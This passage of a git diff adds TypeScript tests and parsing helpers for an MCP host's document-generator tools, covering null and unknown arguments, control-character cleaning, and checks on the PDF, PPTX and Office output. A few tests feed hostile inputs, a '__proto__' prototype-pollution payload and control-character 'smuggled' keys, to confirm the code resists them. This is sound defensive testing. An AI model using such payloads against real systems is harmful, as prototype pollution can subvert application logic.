'../schemaArguments'++const schemaOf = (name: string) => INTERNAL_TOOLS.find(t => t.name === name)!.parameters++describe('withoutUnsetNulls', () => {+ it('drops null for optional arguments, as many models send them', () => {+ expect(+ withoutUnsetNulls(schemaOf('clerum__generate_pdf'), {+ filename: 'r.pdf',+ body: 'text',+ title: null,+ palette: null,+ branding: { companyName: null },+ tables: [{ headers: ['A'], rows: [['x', null]], layout: null }],+ })+ ).toEqual({+ filename: 'r.pdf',+ body: 'text',+ branding: {},+ tables: [{ headers: ['A'], rows: [['x', null]] }],+ })+ })++ it('keeps null for a required argument', () => {+ expect(+ withoutUnsetNulls(schemaOf('clerum__generate_pdf'), { filename: null, body: 'x' })+ ).toEqual({ filename: null, body: 'x' })+ })++ it('keeps a "__proto__" key an ordinary property', () => {+ const args = JSON.parse('{"filename":"r.md","content":"x","__proto__":{"polluted":true}}')+ const clean = withoutUnsetNulls(schemaOf('clerum__generate_markdown'), args) as Record<+ string,+ unknown+ >+ expect(Object.getPrototypeOf(clean)).toBe(Object.prototype)+ expect(({} as Record<string, unknown>).polluted).toBeUndefined()+ })+})++describe('unknownArguments', () => {+ it('names arguments the schema does not declare, at any depth', () => {+ expect(+ unknownArguments(schemaOf('clerum__generate_xlsx'), {+ filename: 'e.xlsx',+ title: 'Market',+ sheets: [{ name: 'S', columns: ['Month'], rows: [['Jan', 1]] }],+ })+ ).toEqual(['title', 'sheets[0].columns'])+ })++ it('leaves open maps alone', () => {+ expect(+ unknownArguments(schemaOf('clerum__generate_dashboard'), {+ filename: 'd.html',+ data: {+ title: 'T',+ tables: [{ headers: ['Status'], rows: [['ok']], columnTypes: { Status: 'severity' } }],+ },+ })+ ).toEqual([])+ })+})++describe('a generator called directly, as the chat path does', () => {+ it('runs a call whose optional arguments are null, without them', async () => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-null-args-'))+ try {+ const pdf = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pdf')!+ const result = await pdf.execute(+ { filename: 'n.pdf', body: 'text', title: null, palette: null, images: null },+ dir+ )+ expect(result.success, result.error).toBe(true)+ expect(result.content).not.toContain('Ignored arguments')+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })++ it('does not call an argument ignored when the generator reads it under another name', async () => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-null-args-'))+ const tool = (name: string) => INTERNAL_TOOLS.find(t => t.name === `clerum__generate_${name}`)!+ try {+ await tool('chart').execute(+ { filename: 'c.png', type: 'bar', data: { labels: ['a'], datasets: [{ data: [1] }] } },+ dir+ )+ const results = [+ await tool('xlsx').execute(+ { filename: 'a.xlsx', sheets: [{ name: 'S', rows: [['a'], [1]] }], images: ['c.png'] },+ dir+ ),+ await tool('pptx').execute(+ {+ filename: 'a.pptx',+ template: 'pitch-deck',+ data: {+ company: 'Acme',+ tagline: 't',+ problem: 'p',+ solution: 's',+ market_size: { value: 1000 },+ },+ },+ dir+ ),+ await tool('dashboard').execute(+ {+ filename: 'd.html',+ template: 'custom',+ data: {+ title: 'T',+ blocks: [+ { type: 'service-health', items: [{ name: 'API', status: 'healthy' }] },+ { type: 'kpis', kpis: [{ label: 'R', value: 1 }] },+ ],+ },+ },+ dir+ ),+ ]+ for (const result of results) {+ expect(result.success, result.error).toBe(true)+ expect(result.content).toMatch(/was read|placed on the first sheet/)+ expect(result.content).not.toContain('Ignored arguments')+ }+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })++ it('reports the arguments it ignored', async () => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-null-args-'))+ try {+ const markdown = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_markdown')!+ const result = await markdown.execute(+ { filename: 'n.md', content: 'text', format: 'gfm' },+ dir+ )+ expect(result.success).toBe(true)+ expect(result.content).toContain("Ignored arguments this tool does not read: 'format'")+ expect(result.content?.match(/Notes: /g)).toHaveLength(1)+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })+})diff --git a/mcp-host/src/workflow/__tests__/support/pdfText.ts b/mcp-host/src/workflow/__tests__/support/pdfText.tsnew file mode 100644index 000000000..9a79420dc--- /dev/null+++ b/mcp-host/src/workflow/__tests__/support/pdfText.ts@@ -0,0 +1,210 @@+/**+ * Reads the text pdfkit writes, with its position, so tests can check what a+ * generated PDF actually shows rather than only that the call succeeded.+ *+ * Only the operators pdfkit emits are handled: `Tm` to place a fragment, `Tf`+ * to pick a font, `TJ` to draw it, and the `cm` before an image's `Do`.+ */+import * as fs from 'fs'+import {+ PDFArray,+ PDFDict,+ PDFDocument,+ PDFName,+ PDFNumber,+ PDFRawStream,+ PDFRef,+ decodePDFRawStream,+} from 'pdf-lib'++export interface TextFragment {+ text: string+ /** Left and right edges in points from the page's left side. */+ x0: number+ x1: number+ /** Baseline in points from the page's top. */+ y: number+ /** BaseFont of the font the fragment is set in. */+ font: string+}++export interface PdfPage {+ width: number+ height: number+ fragments: TextFragment[]+ /** Every fragment's text, in drawing order, separated by spaces. */+ text: string+ /** Drawn image boxes, in points from the page's top-left corner. */+ images: Array<{ x0: number; y0: number; x1: number; y1: number }>+}++interface FontInfo {+ name: string+ toUnicode: Map<number, string>+ widths: Map<number, number>+ defaultWidth: number+ /** A standard-14 font, which pdfkit encodes one byte per character. */+ simple: boolean+}++function streamText(doc: PDFDocument, ref: unknown): string {+ const obj = ref instanceof PDFRef ? doc.context.lookup(ref) : ref+ if (!(obj instanceof PDFRawStream)) return ''+ return Buffer.from(decodePDFRawStream(obj).decode()).toString('latin1')+}++function hexToUnicode(hex: string): string {+ let out = ''+ for (let i = 0; i + 4 <= hex.length; i += 4)+ out += String.fromCharCode(parseInt(hex.slice(i, i + 4), 16))+ return out+}++function parseToUnicode(cmap: string): Map<number, string> {+ const map = new Map<number, string>()+ for (const block of cmap.matchAll(/beginbfchar([\s\S]*?)endbfchar/g)) {+ for (const m of block[1].matchAll(/<([0-9a-fA-F]+)>\s*<([0-9a-fA-F]+)>/g)) {+ map.set(parseInt(m[1], 16), hexToUnicode(m[2]))+ }+ }+ for (const block of cmap.matchAll(/beginbfrange([\s\S]*?)endbfrange/g)) {+ for (const m of block[1].matchAll(+ /<([0-9a-fA-F]+)>\s*<([0-9a-fA-F]+)>\s*(\[[^\]]*\]|<[0-9a-fA-F]+>)/g+ )) {+ const from = parseInt(m[1], 16)+ const to = parseInt(m[2], 16)+ if (m[3].startsWith('[')) {+ const items = [...m[3].matchAll(/<([0-9a-fA-F]+)>/g)].map(x => hexToUnicode(x[1]))+ items.forEach((u, i) => map.set(from + i, u))+ } else {+ const start = hexToUnicode(m[3].slice(1, -1))+ const base = start.charCodeAt(start.length - 1)+ for (let c = from; c <= to; c++) {+ map.set(c, start.slice(0, -1) + String.fromCharCode(base + c - from))+ }+ }+ }+ }+ return map+}++function fontInfo(doc: PDFDocument, dict: PDFDict): FontInfo {+ const name = String(dict.lookup(PDFName.of('BaseFont'))).replace(/^\//, '')+ const toUnicodeRef = dict.get(PDFName.of('ToUnicode'))+ const info: FontInfo = {+ name,+ toUnicode: toUnicodeRef ? parseToUnicode(streamText(doc, toUnicodeRef)) : new Map(),+ widths: new Map(),+ defaultWidth: 1000,+ simple: String(dict.lookup(PDFName.of('Subtype'))) !== '/Type0',+ }+ if (info.simple) {+ // pdfkit only writes Courier as a standard font here; every glyph is 600 units.+ info.defaultWidth = 600+ return info+ }+ const descendants = dict.lookup(PDFName.of('DescendantFonts'), PDFArray)+ const cid = descendants.lookup(0, PDFDict)+ const w = cid.lookup(PDFName.of('W'))+ if (w instanceof PDFArray) {+ let i = 0+ while (i < w.size()) {+ const first = (w.lookup(i) as PDFNumber).asNumber()+ const next = w.lookup(i + 1)+ if (next instanceof PDFArray) {+ for (let k = 0; k < next.size(); k++) {+ info.widths.set(first + k, (next.lookup(k) as PDFNumber).asNumber())+ }+ i += 2+ } else {+ const last = (next as PDFNumber).asNumber()+ const width = (w.lookup(i + 2) as PDFNumber).asNumber()+ for (let c = first; c <= last; c++) info.widths.set(c, width)+ i += 3+ }+ }+ }+ return info+}++function unescapeLiteral(s: string): string {+ return s.replace(/\\([nrtbf()\\]|[0-7]{1,3})/g, (_m, e: string) => {+ if (/^[0-7]+$/.test(e)) return String.fromCharCode(parseInt(e, 8))+ return ({ n: '\n', r: '\r', t: '\t', b: '\b', f: '\f' } as Record<string, string>)[e] ?? e+ })+}++/** Text fragments of every page of the PDF at `file`. */+export async function readPdf(file: string): Promise<PdfPage[]> {+ const doc = await PDFDocument.load(fs.readFileSync(file))+ const pages: PdfPage[] = []+ for (const page of doc.getPages()) {+ const { width, height } = page.getSize()+ const fonts = new Map<string, FontInfo>()+ const fontDict = page.node.Resources()?.lookup(PDFName.of('Font'))+ if (fontDict instanceof PDFDict) {+ for (const [key, ref] of fontDict.entries()) {+ const dict = doc.context.lookup(ref)+ if (dict instanceof PDFDict)+ fonts.set(key.asString().replace(/^\//, ''), fontInfo(doc, dict))+ }+ }+ const contents = page.node.Contents()+ const streams = contents instanceof PDFArray ? contents.asArray() : [contents]+ const source = streams.map(s => streamText(doc, s)).join('\n')+ // pdfkit draws an image with a negative height from its bottom edge, in+ // coordinates already flipped to run down from the top of the page.+ const images = [+ ...source.matchAll(/([-\d.]+) 0 0 ([-\d.]+) ([-\d.]+) ([-\d.]+) cm\s*\/\w+ Do/g),+ ].map(m => {+ const [w, h, x, bottom] = [Number(m[1]), Math.abs(Number(m[2])), Number(m[3]), Number(m[4])]+ return { x0: x, y0: bottom - h, x1: x + w, y1: bottom }+ })++ const fragments: TextFragment[] = []+ let x = 0+ let y = 0+ let size = 0+ let font: FontInfo | undefined+ const ops =+ /([-\d.]+) ([-\d.]+) ([-\d.]+) ([-\d.]+) ([-\d.]+) ([-\d.]+) Tm|\/(\S+) ([-\d.]+) Tf|\[((?:[^\]\\]|\\.)*)\] TJ/g+ for (const m of source.matchAll(ops)) {+ if (m[1] !== undefined) {+ x = Number(m[5])+ y = height - Number(m[6])+ } else if (m[7] !== undefined) {+ font = fonts.get(m[7])+ size = Number(m[8])+ } else if (m[9] !== undefined && font) {+ let text = ''+ let advance = 0+ const parts = /<([0-9a-fA-F]*)>|\(((?:[^()\\]|\\.)*)\)|([-\d.]+)/g+ for (const part of m[9].matchAll(parts)) {+ if (part[1] !== undefined) {+ // Embedded fonts use two-byte glyph ids; standard-14 fonts one byte per character.+ const step = font.simple ? 2 : 4+ for (let i = 0; i + step <= part[1].length; i += step) {+ const code = parseInt(part[1].slice(i, i + step), 16)+ text += font.simple ? String.fromCharCode(code) : (font.toUnicode.get(code) ?? '')+ advance += ((font.widths.get(code) ?? font.defaultWidth) / 1000) * size+ }+ } else if (part[2] !== undefined) {+ const literal = unescapeLiteral(part[2])+ text += literal+ advance += ((literal.length * font.defaultWidth) / 1000) * size+ } else if (part[3] !== undefined) {+ advance -= (Number(part[3]) / 1000) * size+ }+ }+ fragments.push({ text, x0: x, x1: x + advance, y, font: font.name })+ }+ }+ pages.push({ width, height, fragments, text: fragments.map(f => f.text).join(' '), images })+ }+ return pages+}++/** All pages' text, for presence checks. */+export function allText(pages: PdfPage[]): string {+ return pages.map(p => p.text).join(' ')+}diff --git a/mcp-host/src/workflow/__tests__/support/pngDensity.ts b/mcp-host/src/workflow/__tests__/support/pngDensity.tsnew file mode 100644index 000000000..1c6e85a87--- /dev/null+++ b/mcp-host/src/workflow/__tests__/support/pngDensity.ts@@ -0,0 +1,34 @@+/** Writing the density a PNG declares in its pHYs chunk. */++function crc32(buf: Buffer): number {+ let crc = 0xffffffff+ for (const byte of buf) {+ crc ^= byte+ for (let k = 0; k < 8; k++) crc = crc & 1 ? 0xedb88320 ^ (crc >>> 1) : crc >>> 1+ }+ return (crc ^ 0xffffffff) >>> 0+}++/** `png` declaring `ppm` pixels a metre, in place of any density it declared. */+export function withPngDensity(png: Buffer, ppm: number): Buffer {+ const data = Buffer.alloc(9)+ data.writeUInt32BE(ppm, 0)+ data.writeUInt32BE(ppm, 4)+ data.writeUInt8(1, 8)+ const type = Buffer.from('pHYs', 'latin1')+ const chunk = Buffer.alloc(21)+ chunk.writeUInt32BE(9, 0)+ type.copy(chunk, 4)+ data.copy(chunk, 8)+ chunk.writeUInt32BE(crc32(Buffer.concat([type, data])), 17)+ const chunks: Buffer[] = [png.subarray(0, 8)]+ let at = 8+ while (at + 8 <= png.length) {+ const length = png.readUInt32BE(at)+ const name = png.toString('latin1', at + 4, at + 8)+ if (name !== 'pHYs') chunks.push(png.subarray(at, at + 12 + length))+ if (name === 'IHDR') chunks.push(chunk)+ at += 12 + length+ }+ return Buffer.concat(chunks)+}diff --git a/mcp-host/src/workflow/__tests__/support/pptxXml.ts b/mcp-host/src/workflow/__tests__/support/pptxXml.tsnew file mode 100644index 000000000..01e1ff868--- /dev/null+++ b/mcp-host/src/workflow/__tests__/support/pptxXml.ts@@ -0,0 +1,215 @@+/**+ * Read the parts of a generated .pptx that the PPTX tests assert on. Geometry+ * is returned in inches so tests compare against slide dimensions directly.+ */+import { createCanvas } from '@napi-rs/canvas'+import * as fs from 'fs'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../../internalTools'+import type { InternalToolResult } from '../../types'+import { zipEntries, zipEntryText } from './zipEntries'++export const EMU_PER_INCH = 914400++export interface Box {+ x: number+ y: number+ w: number+ h: number+}++export async function generatePptx(+ args: Record<string, unknown>,+ outputDir: string+): Promise<InternalToolResult> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pptx')+ if (!tool) throw new Error('clerum__generate_pptx is not registered')+ return tool.execute(args, outputDir)+}++export function slideCount(file: string): number {+ return [...zipEntries(file).keys()].filter(n => /^ppt\/slides\/slide\d+\.xml$/.test(n)).length+}++export function slideXml(file: string, n: number): string {+ return zipEntryText(file, `ppt/slides/slide${n}.xml`)+}++function boxOf(xml: string): Box {+ const off = /<a:off x="(-?\d+)" y="(-?\d+)"\/>/.exec(xml)+ const ext = /<a:ext cx="(\d+)" cy="(\d+)"\/>/.exec(xml)+ if (!off || !ext) throw new Error('shape without a transform')+ return {+ x: Number(off[1]) / EMU_PER_INCH,+ y: Number(off[2]) / EMU_PER_INCH,+ w: Number(ext[1]) / EMU_PER_INCH,+ h: Number(ext[2]) / EMU_PER_INCH,+ }+}++/** Every picture on a slide, with whether pptxgenjs asked PowerPoint to stretch it. */+export function pictures(xml: string): Array<Box & { stretched: boolean; cropped: boolean }> {+ return [...xml.matchAll(/<p:pic>[\s\S]*?<\/p:pic>/g)].map(m => ({+ ...boxOf(m[0]),+ stretched: /<a:srcRect l="0" r="0" t="0" b="0"\/>/.test(m[0]),+ cropped: /<a:srcRect l="[1-9]|<a:srcRect [^>]*[trb]="[1-9]/.test(m[0]),+ }))+}++export interface TextShape extends Box {+ paragraphs: string[]+ sizes: number[]+ anchor?: string+ xml: string+}++/** Text boxes (not table cells) in document order. */+export function textShapes(xml: string): TextShape[] {+ return [...xml.matchAll(/<p:sp>[\s\S]*?<\/p:sp>/g)]+ .filter(m => m[0].includes('<p:txBody>'))+ .map(m => {+ const body = m[0]+ // A soft line break inside a paragraph reads as a newline.+ const paragraphs = [...body.matchAll(/<a:p>([\s\S]*?)<\/a:p>/g)]+ .map(p =>+ [...p[1].matchAll(/<a:br\/>|<a:t>([\s\S]*?)<\/a:t>/g)]+ .map(t => (t[1] === undefined ? '\n' : decode(t[1])))+ .join('')+ )+ .filter(p => p.length > 0)+ const sizes = [...body.matchAll(/<a:rPr[^>]* sz="(\d+)"/g)].map(s => Number(s[1]) / 100)+ const anchor = /<a:bodyPr[^>]* anchor="(\w+)"/.exec(body)?.[1]+ return { ...boxOf(body), paragraphs, sizes, anchor, xml: body }+ })+ .filter(s => s.paragraphs.length > 0)+}++/** The shape whose text starts with `prefix`. */+export function shapeWithText(xml: string, prefix: string): TextShape {+ const hit = textShapes(xml).find(s => s.paragraphs.join('\n').startsWith(prefix))+ if (!hit) throw new Error(`no text shape starting with ${JSON.stringify(prefix)}`)+ return hit+}++export interface TableInfo extends Box {+ columnWidths: number[]+ rowHeights: number[]+ rows: string[][]+}++export function tables(xml: string): TableInfo[] {+ return [...xml.matchAll(/<p:graphicFrame>[\s\S]*?<\/p:graphicFrame>/g)]+ .filter(m => m[0].includes('<a:tbl>'))+ .map(m => {+ const frame = m[0]+ const columnWidths = [...frame.matchAll(/<a:gridCol w="(\d+)"/g)].map(+ c => Number(c[1]) / EMU_PER_INCH+ )+ const rowMatches = [...frame.matchAll(/<a:tr h="(\d+)">([\s\S]*?)<\/a:tr>/g)]+ return {+ ...boxOf(frame.replace(/<p:xfrm>/, '')),+ columnWidths,+ rowHeights: rowMatches.map(r => Number(r[1]) / EMU_PER_INCH),+ rows: rowMatches.map(r =>+ [...r[2].matchAll(/<a:tc[^>]*>([\s\S]*?)<\/a:tc>/g)].map(c =>+ [...c[1].matchAll(/<a:t>([\s\S]*?)<\/a:t>/g)].map(t => decode(t[1])).join('')+ )+ ),+ }+ })+}++/** Chart parts in the archive, in the order pptxgenjs numbered them. */+export function chartXmls(file: string): string[] {+ const entries = zipEntries(file)+ return [...entries.keys()]+ .filter(n => /^ppt\/charts\/chart\d+\.xml$/.test(n))+ .sort((a, b) => Number(/(\d+)\.xml$/.exec(a)![1]) - Number(/(\d+)\.xml$/.exec(b)![1]))+ .map(n => entries.get(n)!.toString('utf8'))+}++/** Numeric cache values of every series in a chart part. */+export function chartValues(chartXml: string): string[][] {+ return [...chartXml.matchAll(/<c:val>([\s\S]*?)<\/c:val>/g)].map(v =>+ [...v[1].matchAll(/<c:v>([^<]*)<\/c:v>/g)].map(x => x[1])+ )+}++export function chartCategories(chartXml: string): string[] {+ const cat = /<c:cat>([\s\S]*?)<\/c:cat>/.exec(chartXml)+ return cat ? [...cat[1].matchAll(/<c:v>([^<]*)<\/c:v>/g)].map(x => decode(x[1])) : []+}++function decode(s: string): string {+ return s+ .replace(/</g, '<')+ .replace(/>/g, '>')+ .replace(/"/g, '"')+ .replace(/'/g, "'")+ .replace(/&/g, '&')+}++/** An image of the given pixel size with a filled circle, so distortion is visible when rendered. */+export async function writeImage(+ dir: string,+ name: string,+ width: number,+ height: number,+ format: 'png' | 'jpeg' | 'gif' = 'png'+): Promise<string> {+ const canvas = createCanvas(width, height)+ const ctx = canvas.getContext('2d')+ ctx.fillStyle = '#ffffff'+ ctx.fillRect(0, 0, width, height)+ ctx.fillStyle = '#1d4ed8'+ ctx.beginPath()+ ctx.arc(width / 2, height / 2, Math.min(width, height) / 2 - 2, 0, Math.PI * 2)+ ctx.fill()+ const data =+ format === 'png'+ ? canvas.toBuffer('image/png')+ : format === 'jpeg'+ ? canvas.toBuffer('image/jpeg')+ : gifOf(width, height)+ const file = path.join(dir, name)+ fs.writeFileSync(file, data)+ return file+}++/** A minimal single-colour GIF; the canvas library can read GIF but not write it. */+function gifOf(width: number, height: number): Buffer {+ const header = Buffer.from('GIF89a', 'latin1')+ const screen = Buffer.alloc(7)+ screen.writeUInt16LE(width, 0)+ screen.writeUInt16LE(height, 2)+ screen[4] = 0x80+ const palette = Buffer.from([0x1d, 0x4e, 0xd8, 0xff, 0xff, 0xff])+ const descriptor = Buffer.alloc(10)+ descriptor[0] = 0x2c+ descriptor.writeUInt16LE(width, 5)+ descriptor.writeUInt16LE(height, 7)+ // LZW with a clear code before every pixel keeps the code size fixed at 3 bits.+ const codes: number[] = []+ for (let i = 0; i < width * height; i++) codes.push(4, 0)+ codes.push(5)+ const bytes: number[] = []+ let acc = 0+ let bits = 0+ for (const code of codes) {+ acc |= code << bits+ bits += 3+ while (bits >= 8) {+ bytes.push(acc & 0xff)+ acc >>= 8+ bits -= 8+ }+ }+ if (bits > 0) bytes.push(acc & 0xff)+ const blocks: number[] = [2]+ for (let i = 0; i < bytes.length; i += 255) {+ const chunk = bytes.slice(i, i + 255)+ blocks.push(chunk.length, ...chunk)+ }+ blocks.push(0, 0x3b)+ return Buffer.concat([header, screen, palette, descriptor, Buffer.from(blocks)])+}diff --git a/mcp-host/src/workflow/__tests__/support/workflowRouter.ts b/mcp-host/src/workflow/__tests__/support/workflowRouter.tsnew file mode 100644index 000000000..2bcdb6b60--- /dev/null+++ b/mcp-host/src/workflow/__tests__/support/workflowRouter.ts@@ -0,0 +1,33 @@+/**+ * The workflow path for internal tools: StepMcpRouter validates the arguments+ * against the tool's schema before execute() runs.+ */+import { INTERNAL_TOOLS } from '../../internalTools'+import { StepMcpRouter } from '../../stepRouter'+import type { InternalToolDefinition } from '../../types'++/** A step router with every internal tool registered, writing to `outputDir`. */+export function workflowRouter(outputDir: string): StepMcpRouter {+ const router = new StepMcpRouter(() => {+ throw new Error('no MCP server is involved')+ })+ router.registerInternalTools(INTERNAL_TOOLS, outputDir)+ return router+}++/**+ * Whether the step router accepts `args` for `tool`: true, or its error text.+ * The tool itself does not run.+ */+export async function workflowValidation(+ tool: InternalToolDefinition,+ args: Record<string, unknown>+): Promise<true | string> {+ const router = new StepMcpRouter(() => {+ throw new Error('no MCP server is involved')+ })+ router.registerInternalTools([{ ...tool, execute: async () => ({ success: true }) }], '/unused')+ const { result } = await router.callTool(tool.name, structuredClone(args))+ if (!result.isError) return true+ return String((result.content as { error?: unknown }).error)+}diff --git a/mcp-host/src/workflow/__tests__/support/zipEntries.ts b/mcp-host/src/workflow/__tests__/support/zipEntries.tsnew file mode 100644index 000000000..4e10f795b--- /dev/null+++ b/mcp-host/src/workflow/__tests__/support/zipEntries.ts@@ -0,0 +1,46 @@+/**+ * Read entries out of the DOCX, XLSX and PPTX files the generators write,+ * without a zip dependency the runtime does not ship. Sizes come from the+ * central directory because writers that stream (ExcelJS) leave them zero in+ * the local headers.+ */+import * as fs from 'fs'+import * as zlib from 'zlib'++export function zipEntries(file: string): Map<string, Buffer> {+ const buf = fs.readFileSync(file)+ let eocd = -1+ for (let i = buf.length - 22; i >= 0; i--) {+ if (buf.readUInt32LE(i) === 0x06054b50) {+ eocd = i+ break+ }+ }+ if (eocd < 0) throw new Error(`${file} is not a zip archive`)+ const count = buf.readUInt16LE(eocd + 10)+ let at = buf.readUInt32LE(eocd + 16)+ const out = new Map<string, Buffer>()+ for (let n = 0; n < count; n++) {+ const method = buf.readUInt16LE(at + 10)+ const compressed = buf.readUInt32LE(at + 20)+ const nameLen = buf.readUInt16LE(at + 28)+ const extraLen = buf.readUInt16LE(at + 30)+ const commentLen = buf.readUInt16LE(at + 32)+ const localAt = buf.readUInt32LE(at + 42)+ const name = buf.toString('utf8', at + 46, at + 46 + nameLen)+ const dataAt = localAt + 30 + buf.readUInt16LE(localAt + 26) + buf.readUInt16LE(localAt + 28)+ const data = buf.subarray(dataAt, dataAt + compressed)+ out.set(name, method === 0 ? Buffer.from(data) : zlib.inflateRawSync(data))+ at += 46 + nameLen + extraLen + commentLen+ }+ return out+}++export function zipEntryText(file: string, name: string): string {+ const entry = zipEntries(file).get(name)+ if (!entry) throw new Error(`${name} not found in ${file}`)+ return entry.toString('utf8')+}++/** Characters an XML 1.0 document may not contain; a match means a file Office rejects. */+export const XML_FORBIDDEN_CHARS = /[\u0000-\u0008\u000B\u000C\u000E-\u001F\uFFFE\uFFFF]/diff --git a/mcp-host/src/workflow/__tests__/toolText.test.ts b/mcp-host/src/workflow/__tests__/toolText.test.tsnew file mode 100644index 000000000..2ef856da8--- /dev/null+++ b/mcp-host/src/workflow/__tests__/toolText.test.ts@@ -0,0 +1,126 @@+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { cleanText, cleanToolArgs } from '../toolText'+import { XML_FORBIDDEN_CHARS, zipEntries } from './support/zipEntries'++describe('cleanText', () => {+ it('drops ANSI escapes copied from a terminal', () => {+ expect(cleanText('\u001b[31mERROR\u001b[0m done')).toBe('ERROR done')+ expect(cleanText('\u001b]0;title\u0007after')).toBe('after')+ })++ it('keeps the text after an unterminated escape', () => {+ expect(cleanText('a\u001b]0;never closed')).toBe('a0;never closed')+ })++ it('drops the control characters XML cannot carry and keeps tab and newline', () => {+ expect(cleanText('a\u0000b\u0007c\bd\te\nf')).toBe('abcd\te\nf')+ })++ it('turns form feeds and vertical tabs into line breaks instead of joining words', () => {+ expect(cleanText('Page one end\fPage two\vstart')).toBe('Page one end\nPage two\nstart')+ })++ it('turns CRLF and lone CR into LF', () => {+ expect(cleanText('# Title\r\n\r\nbody\rend')).toBe('# Title\n\nbody\nend')+ })++ it('drops half a surrogate pair but keeps whole emoji', () => {+ expect(cleanText('ok \u{1F680}')).toBe('ok \u{1F680}')+ expect(cleanText('cut \uD83D')).toBe('cut ')+ })+})++describe('cleanToolArgs', () => {+ it('cleans strings at any depth, keys included', () => {+ const cleaned = cleanToolArgs({+ body: 'a\r\nb',+ tables: [{ rows: [['\u001b[1mx\u001b[0m', 3, null, true]] }],+ columnFormats: { 'Cost\u0007': 'currency' },+ })+ expect(cleaned).toEqual({+ body: 'a\nb',+ tables: [{ rows: [['x', 3, null, true]] }],+ columnFormats: { Cost: 'currency' },+ })+ })++ it('keeps a "__proto__" key an own property instead of a prototype', () => {+ const cleaned = cleanToolArgs(JSON.parse('{"__proto__": {"polluted": true}}'))+ expect(Object.getPrototypeOf(cleaned)).toBe(Object.prototype)+ expect(({} as Record<string, unknown>).polluted).toBeUndefined()+ expect(Object.prototype.hasOwnProperty.call(cleaned, '__proto__')).toBe(true)+ })++ it('keeps the key that was already clean when another one cleans to it', () => {+ const cleaned = cleanToolArgs({ sheets: 'validated', 'sheets\u0000': 'smuggled' })+ expect(cleaned).toEqual({ sheets: 'validated' })+ const reversed = cleanToolArgs({ 'body\u0007': 'smuggled', body: 'validated' })+ expect(reversed).toEqual({ body: 'validated' })+ })++ it('keeps values nested absurdly deep as they are instead of overflowing the stack', () => {+ let deep: unknown = 'x\u0007'+ for (let i = 0; i < 10_000; i++) deep = [deep]+ const cleaned = cleanToolArgs({ body: 'a\u0007', extra: deep }) as {+ body: string+ extra: unknown+ }+ expect(cleaned.body).toBe('a')+ let inner = cleaned.extra+ for (let i = 0; i < 10_000; i++) inner = (inner as unknown[])[0]+ expect(inner).toBe('x\u0007')+ })++ it('writes a call whose unread extra argument is nested absurdly deep', async () => {+ let deep: unknown = { x: 1 }+ for (let i = 0; i < 2000; i++) deep = { n: deep }+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-deep-'))+ try {+ const markdown = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_markdown')!+ const result = await markdown.execute({ filename: 'n.md', content: 'x', extra: deep }, dir)+ expect(result.success, result.error).toBe(true)+ expect(result.content).toContain("Ignored arguments this tool does not read: 'extra'")+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })++ it('does not copy the input', () => {+ const input = { body: 'x' }+ cleanToolArgs(input)+ expect(input).toEqual({ body: 'x' })+ })+})++describe('generated Office files', () => {+ const dirty = 'build \u001b[31mFAILED\u001b[0m\f page\v two\u0000'+ let outputDir: string++ beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-xml-'))+ })++ afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+ })++ it.each([+ ['clerum__generate_docx', { filename: 'd.docx', title: dirty, body: dirty }],+ ['clerum__generate_xlsx', { filename: 'x.xlsx', sheets: [{ name: 'S', rows: [[dirty]] }] }],+ [+ 'clerum__generate_pptx',+ { filename: 'p.pptx', slides: [{ layout: 'title-bullets', title: dirty, bullets: [dirty] }] },+ ],+ ])('%s never writes a character XML forbids', async (tool, args) => {+ const result = await INTERNAL_TOOLS.find(t => t.name === tool)!.execute(args, outputDir)+ expect(result.success).toBe(true)+ for (const [name, data] of zipEntries(result.artifact!.path)) {+ if (name.endsWith('.xml'))+ expect(data.toString('utf8'), name).not.toMatch(XML_FORBIDDEN_CHARS)+ }+ })+})diff --git a/mcp-host/src/workflow/internalTools.ts b/mcp-host/src/workflow/internalTools.tsindex 4b2623b52..f29669eb5 100644--- a/mcp-host/src/workflow/internalTools.ts+++ b/mcp-host/src/workflow/internalTools.ts@@ -12,54 +12,125 @@* for markdown and the dashboard HTML wrapper.*/import { type SKRSContext2D, createCanvas } from '@napi-rs/canvas'-import { Chart, type ChartConfiguration, type ChartType, registerables } from 'chart.js'+import {+ Chart,+ type ChartConfiguration,+ type ChartType,+ type Plugin,+ type Scale,+ registerables,+} from 'chart.js'import {AlignmentType,- BorderStyle,Document as DocxDocument,Footer as DocxFooter,Header as DocxHeader,Table as DocxTable,- TableCell as DocxTableCell,- TableRow as DocxTableRow,HeadingLevel,- ImageRun,- LevelFormat,Packer,PageNumber,+ PageOrientation,Paragraph,- ShadingType,TextRun,- WidthType,} from 'docx'import ExcelJS from 'exceljs'import * as fs from 'fs'import * as path from 'path'-import type {- Content,- ContentTable,- ContentText,- TDocumentDefinitions,- TFontDictionary,-} from 'pdfmake/interfaces'-import safeRegex from 'safe-regex'+import type { Content, ContentText, Node, TDocumentDefinitions } from 'pdfmake/interfaces'import { config } from '../config'import { WorkflowListTool, WorkflowStatusTool } from '../core/tools/workflowReadTools'import { WorkflowTriggerTool } from '../core/tools/workflowTriggerTool'+import { artifactResult, claimOutputFile, outputFilename, replacedBytes } from './artifactOutput'+import { ChartDataError, coerceNumber, normalizeChartData } from './chartData'+import type { NormalizedDataset, NormalizedPoint } from './chartData'+import {+ type ValueFormat,+ type ValueLabelOptions,+ backgroundPlugin,+ emptyStatePlugin,+ formatValue,+ gaugeCenterPlugin,+ sliceColors,+ valueLabelsPlugin,+} from './chartPlugins'import { CONTEXT_FILES_TOOLS, loadContextFilesMounts } from 